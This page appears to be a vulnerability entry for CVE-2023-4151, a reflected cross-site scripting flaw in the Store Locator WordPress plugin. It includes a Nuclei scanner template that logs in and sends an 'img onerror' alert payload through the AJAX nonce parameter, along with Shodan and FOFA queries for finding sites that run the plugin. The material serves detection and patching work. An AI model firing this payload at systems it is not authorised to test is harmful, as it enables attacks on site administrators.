CVE-2023-4151: Store Locator WordPress < 1.4.13 - Cross-Site Scripting

2025-08-01 Store Locator WordPress PoC Public

Description

The Store Locator WordPress plugin before 1.4.13 does not sanitise and escape an invalid nonce before outputting it back in an AJAX response, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.

PoC

id: CVE-2023-4151

info:
  name: Store Locator WordPress < 1.4.13 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    The Store Locator WordPress plugin before 1.4.13 does not sanitise and escape an invalid nonce before outputting it back in an AJAX response, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.
  impact: |
    Attackers can potentially exploit this vulnerability to gain unauthorized access to sensitive information.
  remediation: |
    Update the plugin to Latest version. Fixed in 1.4.13.
  reference:
    - https://wpscan.com/vulnerability/c9d80aa4-a26d-4b3f-b7bf-9d2fb0560d7b/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-4151
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-4151
    cwe-id: CWE-79
    epss-score: 0.00688
    epss-percentile: 0.51017
    cpe: cpe:2.3:a:agilelogix:store_locator:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 3
    vendor: agilelogix
    product: store_locator
    framework: wordpress
    fofa-query: body="/wp-content/plugins/agile-store-locator"
    publicwww-query: /wp-content/plugins/agile-store-locator/
    shodan-query: http.html:"/wp-content/plugins/agile-store-locator/"
  tags: cve,cve2023,wp,wordpress,wp-plugin,agile-store-locator,xss,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - "/wp-content/plugins/agile-store-locator"
        internal: true

  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

      - |
        GET /wp-admin/admin-ajax.php?action=asl_ajax_handler&asl-nounce=<img src onerror=alert`document.domain`> HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - '<img src onerror=alert`document.domain`>'

      - type: word
        part: content_type_2
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4b0a0048304602210093a6ade6e1f8360b295053f1683f805d69aba804bdb86ef1d4bf85a0b94df64e02210098ed714f4f1d5daa00cde703cfac2da2da7a92fce1dcc5ee1947c2bf7ab7379d:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities